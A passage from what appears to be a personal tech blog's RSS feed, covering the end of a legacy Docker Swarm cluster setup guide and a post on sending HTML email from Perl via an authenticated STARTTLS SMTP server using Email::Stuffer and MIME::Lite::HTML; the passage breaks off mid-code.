</code></pre><p>To get everything started, go to whatever docker host you pick as the manager (in our case vm01), and create the swarm:<br>
<code>docker run --rm swarm create</code></p>
<p>This will generate an unique token like:<br>
c05c3ef4c4b15821a8e8e2ef6bdf192d</p>
<p>Now, on *each* AGENT (including the manager if you want to use it as a worker) run:<br>
docker run -d swarm join &ndash;advertise agentIP:2375 token://c05c3ef4c4b15821a8e8e2ef6bdf192d</p>
<pre tabindex="0"><code>docker run -d swarm join --advertise 10.0.0.101:2375 token://c05c3ef4c4b15821a8e8e2ef6bdf192d
docker run -d swarm join --advertise 10.0.0.102:2375 token://c05c3ef4c4b15821a8e8e2ef6bdf192d
docker run -d swarm join --advertise 10.0.0.103:2375 token://c05c3ef4c4b15821a8e8e2ef6bdf192d
docker run -d swarm join --advertise 10.0.0.104:2375 token://c05c3ef4c4b15821a8e8e2ef6bdf192d
</code></pre><p>You would do this for *each* agent and in our case vm01 is also an agent)</p>
<p>At last, you need to run a manager service on your chosen manager host (in our case, vm01) to manage the swarm:<br>
<code>docker run -d -p 2376:2375 swarm manage token://c05c3ef4c4b15821a8e8e2ef6bdf192d</code></p>
<p>The idea is that the manager wants to provide an API on port 2375. We are binding that to the local host on 2376. If your manager is NOT an agent, you can simply bind it on 2375 by doing a &ldquo;run -d -P swarm manage token://&hellip;&rdquo;. In that case, you would NOT run the &ldquo;swarm join&rdquo; command on your manager. However, in our case we want all of the hosts to be agents, including the manager.</p>
<p>The last step is to query the cluster:<br>
docker -H tcp://managerIP:2376 info</p>
<p>In our case, we use vm01:</p>
<pre tabindex="0"><code>docker -H tcp://vm01:2376 info
or
docker -H tcp://vm01:2376 ps
</code></pre><p>Again, if your manager is NOT an agent, you would simply run:<br>
&ldquo;docker -H tcp://managerIP:2375 info&rdquo; or even &ldquo;docker -H tcp://managerip&rdquo;</p>
<p>Don&rsquo;t forget to start the manager on reboot, and each join on the agents on reboot.</p>]]></content:encoded>
    </item>
    <item>
      <title>Sending HTML emails with Perl to a remote SMTP with TLS</title>
      <link>https://vpetkov.net/2015/11/29/sending-html-emails-with-perl-to-a-remote-smtp-with-tls/</link>
      <pubDate>Mon, 30 Nov 2015 04:38:35 +0000</pubDate>
      <guid>https://vpetkov.net/2015/11/29/sending-html-emails-with-perl-to-a-remote-smtp-with-tls/</guid>
      <description>&lt;p&gt;This problem starter as a rather simple one - I needed to send HTML emails, using Perl, to a remote SMTP server with user authentication and TLS support (STARTTLS). The extra &amp;ldquo;gotcha&amp;rdquo; is that I refused to read books about MIME structures. Easy enough right? It turns out, it can be if you know the right answer.&lt;/p&gt;
&lt;p&gt;Let start with the answer for those that are impatient - it turns out this is the easiest way to achieve this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-perl&#34; data-lang=&#34;perl&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;sub&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;amazon_sendhtmlemail_to_from&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$from_email&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$to_email&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$subject&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$url&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;@_&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# Pull HTML content down from URL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;use&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;WWW::Mechanize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$mech&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;WWW::Mechanize&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$mech&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;agent_alias&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;Mac Safari&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$mech&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$url&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$html&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$mech&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# Create Email itself - hard part, in HTML use Email::Stuffer;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# The &amp;#34;-&amp;gt;email&amp;#34; is key because it returns a Email::MIME object which is needed for the send&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$email&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Email::Stuffer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;from&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$from_email&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;to&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$to_email&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;subject&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$subject&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;html_body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;email&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;###############################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;use&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Email::Sender::Simple&lt;/span&gt; &lt;span class=&#34;sx&#34;&gt;qw(sendmail)&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;use&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Email::Sender::Transport::SMTPS&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtpserver&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;smtp.domain.tld&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtpport&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;587&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtpuser&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;Username&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtppassword&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;Password&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;my&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$transport&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Email::Sender::Transport::SMTPS&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;host&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtpserver&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;port&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtpport&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;ssl&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;starttls&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;sasl_username&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtpuser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;sasl_password&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$smtppassword&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;sendmail&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$email&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;transport&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$transport&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;###############################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s it - and &amp;ldquo;it just works&amp;rdquo; (TM). As you might have guessed, this is also the perfect solution for something like Amazon&amp;rsquo;s AWS SES service.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>This problem starter as a rather simple one - I needed to send HTML emails, using Perl, to a remote SMTP server with user authentication and TLS support (STARTTLS). The extra &ldquo;gotcha&rdquo; is that I refused to read books about MIME structures. Easy enough right? It turns out, it can be if you know the right answer.</p>
<p>Let start with the answer for those that are impatient - it turns out this is the easiest way to achieve this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-perl" data-lang="perl"><span class="line"><span class="cl"><span class="k">sub</span> <span class="nf">amazon_sendhtmlemail_to_from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="p">(</span><span class="nv">$from_email</span><span class="p">,</span> <span class="nv">$to_email</span><span class="p">,</span> <span class="nv">$subject</span><span class="p">,</span> <span class="nv">$url</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Pull HTML content down from URL</span>
</span></span><span class="line"><span class="cl">    <span class="k">use</span> <span class="nn">WWW::Mechanize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$mech</span> <span class="o">=</span> <span class="nn">WWW::Mechanize</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mech</span><span class="o">-&gt;</span><span class="n">agent_alias</span><span class="p">(</span> <span class="s">&#39;Mac Safari&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mech</span><span class="o">-&gt;</span><span class="n">get</span><span class="p">(</span> <span class="nv">$url</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$html</span> <span class="o">=</span> <span class="nv">$mech</span><span class="o">-&gt;</span><span class="n">content</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Create Email itself - hard part, in HTML use Email::Stuffer;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># The &#34;-&gt;email&#34; is key because it returns a Email::MIME object which is needed for the send</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$email</span> <span class="o">=</span> <span class="nn">Email::Stuffer</span><span class="o">-&gt;</span><span class="n">from</span><span class="p">(</span><span class="nv">$from_email</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">to</span><span class="p">(</span><span class="nv">$to_email</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">subject</span><span class="p">(</span><span class="nv">$subject</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">html_body</span><span class="p">(</span><span class="nv">$html</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">email</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">###############################################################################</span>
</span></span><span class="line"><span class="cl">    <span class="k">use</span> <span class="nn">Email::Sender::Simple</span> <span class="sx">qw(sendmail)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">use</span> <span class="nn">Email::Sender::Transport::SMTPS</span> <span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtpserver</span> <span class="o">=</span> <span class="s">&#39;smtp.domain.tld&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtpport</span> <span class="o">=</span> <span class="mi">587</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtpuser</span>   <span class="o">=</span> <span class="s">&#39;Username&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtppassword</span> <span class="o">=</span> <span class="s">&#39;Password&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$transport</span> <span class="o">=</span> <span class="nn">Email::Sender::Transport::SMTPS</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="n">host</span> <span class="o">=&gt;</span> <span class="nv">$smtpserver</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">port</span> <span class="o">=&gt;</span> <span class="nv">$smtpport</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">ssl</span> <span class="o">=&gt;</span> <span class="s">&#34;starttls&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">sasl_username</span> <span class="o">=&gt;</span> <span class="nv">$smtpuser</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">sasl_password</span> <span class="o">=&gt;</span> <span class="nv">$smtppassword</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl">    <span class="n">sendmail</span><span class="p">(</span><span class="nv">$email</span><span class="p">,</span> <span class="p">{</span> <span class="n">transport</span> <span class="o">=&gt;</span> <span class="nv">$transport</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">    <span class="c1">###############################################################################</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>That&rsquo;s it - and &ldquo;it just works&rdquo; (TM). As you might have guessed, this is also the perfect solution for something like Amazon&rsquo;s AWS SES service.</p>
<p>I usually send emails with MIME::Lite. It&rsquo;s a beautifully simple module that &ldquo;just works&rdquo;. Typically, someting like this for plain/non-html emails:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-perl" data-lang="perl"><span class="line"><span class="cl"><span class="k">sub</span> <span class="nf">sendemail_to_from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="p">(</span><span class="nv">$from_email</span><span class="p">,</span> <span class="nv">$to_email</span><span class="p">,</span> <span class="nv">$subject</span><span class="p">,</span> <span class="nv">$body</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$msg</span> <span class="o">=</span> <span class="nn">MIME::Lite</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">From</span>     <span class="o">=&gt;</span><span class="s">&#34;$from_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">To</span>       <span class="o">=&gt;</span><span class="s">&#34;$to_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Subject</span>  <span class="o">=&gt;</span><span class="s">&#34;$subject&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Data</span>     <span class="o">=&gt;</span><span class="s">&#34;$body&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$msg</span><span class="o">-&gt;</span><span class="nb">send</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>But this doesn&rsquo;t send HTML. Ok, easy enough - there is a module called MIME::Lite::HTML. Something like this should work:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-perl" data-lang="perl"><span class="line"><span class="cl"><span class="k">sub</span> <span class="nf">sendhtmlemail_to_from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="p">(</span><span class="nv">$from_email</span><span class="p">,</span> <span class="nv">$to_email</span><span class="p">,</span> <span class="nv">$subject</span><span class="p">,</span> <span class="nv">$url</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$msg</span> <span class="o">=</span> <span class="nn">MIME::Lite::HTML</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">From</span>     <span class="o">=&gt;</span><span class="s">&#34;$from_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">To</span>       <span class="o">=&gt;</span><span class="s">&#34;$to_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Subject</span>  <span class="o">=&gt;</span><span class="s">&#34;$subject&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Url</span>      <span class="o">=&gt;</span><span class="s">&#34;$url&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">IncludeType</span> <span class="o">=&gt;</span><span class="s">&#39;extern&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The gotcha here is that the email &ldquo;body&rdquo; is composed from an URL, and the email is fired off immediately after retrieving the &ldquo;$url&rdquo; parameter. I&rsquo;ve added an extra &ldquo;IncludeType&rdquo; of &ldquo;extern&rdquo; which means that I want the images not to be embeeded, but instead to be fetched remotely as the user reads the email.</p>
<p>Great. Simple and beautiful again. But what if you want to send this through a remote SMTP server?<br>
Ok, so it&rsquo;s a bit of a hack between MIME::Lite and MIME::HTML::Lite, but it&rsquo;s again pretty easy. Something like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-perl" data-lang="perl"><span class="line"><span class="cl"><span class="k">sub</span> <span class="nf">sendhtmlemail_via_remote_smtp_to_from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="p">(</span><span class="nv">$from_email</span><span class="p">,</span> <span class="nv">$to_email</span><span class="p">,</span> <span class="nv">$subject</span><span class="p">,</span> <span class="nv">$url</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$msg</span> <span class="o">=</span> <span class="nn">MIME::Lite::HTML</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">From</span>     <span class="o">=&gt;</span><span class="s">&#34;$from_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">To</span>       <span class="o">=&gt;</span><span class="s">&#34;$to_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Subject</span>  <span class="o">=&gt;</span><span class="s">&#34;$subject&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">IncludeType</span> <span class="o">=&gt;</span><span class="s">&#39;extern&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># This takes the MIME::Lite::HTML object, and manually &#34;parses&#34; the URL.</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># The result is actually a MIME::Lite object on which you can execute &#34;send&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$m</span> <span class="o">=</span> <span class="nv">$msg</span><span class="o">-&gt;</span><span class="n">parse</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># NOTE: If you are using v3.0+, you can actually include &#34;SSL =&gt; 1&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$m</span><span class="o">-&gt;</span><span class="nb">send</span><span class="p">(</span><span class="s">&#39;smtp&#39;</span><span class="p">,</span> <span class="nv">$smtp_host</span><span class="p">,</span> <span class="n">AuthUser</span><span class="o">=&gt;</span><span class="nv">$user</span><span class="p">,</span> <span class="n">AuthPass</span><span class="o">=&gt;</span><span class="nv">$pass</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>This is again kind of interesting. Simple enough, and it uses/abuses the fact that you could potentially be on a &ldquo;windows&rdquo; system (per the developer&rsquo;s example :)) and not have sendmail. This way, you are creating a MIME::Lite::HTML object, and then manually retrieving the URL which ends up creating a MIME::Lite object with the MIME::Lite::HTML data. Then you can manually execute &ldquo;send&rdquo; and specify a SMTP host, an username and a password. Not bad.</p>
<p>But what if you need SSL/TLS? (Those pesky need STARTTLS requests? - that most servers out there need)<br>
Well, if you are using v3.0 of NET::SMTP, you could pass in &ldquo;SSL =&gt; 1&rdquo;. Supposedly that should do it. I have not been able to verify that.</p>
<p>The alternative is writing a handler yourself:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-perl" data-lang="perl"><span class="line"><span class="cl"><span class="k">sub</span> <span class="nf">sendhtmlemail_via_remote_smtp_to_from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="p">(</span><span class="nv">$from_email</span><span class="p">,</span> <span class="nv">$to_email</span><span class="p">,</span> <span class="nv">$subject</span><span class="p">,</span> <span class="nv">$url</span><span class="p">)</span> <span class="o">=</span> <span class="nv">@_</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$msg</span> <span class="o">=</span> <span class="nn">MIME::Lite::HTML</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">From</span>     <span class="o">=&gt;</span><span class="s">&#34;$from_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">To</span>       <span class="o">=&gt;</span><span class="s">&#34;$to_email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Subject</span>  <span class="o">=&gt;</span><span class="s">&#34;$subject&#34;</span><span class="p">,</span>
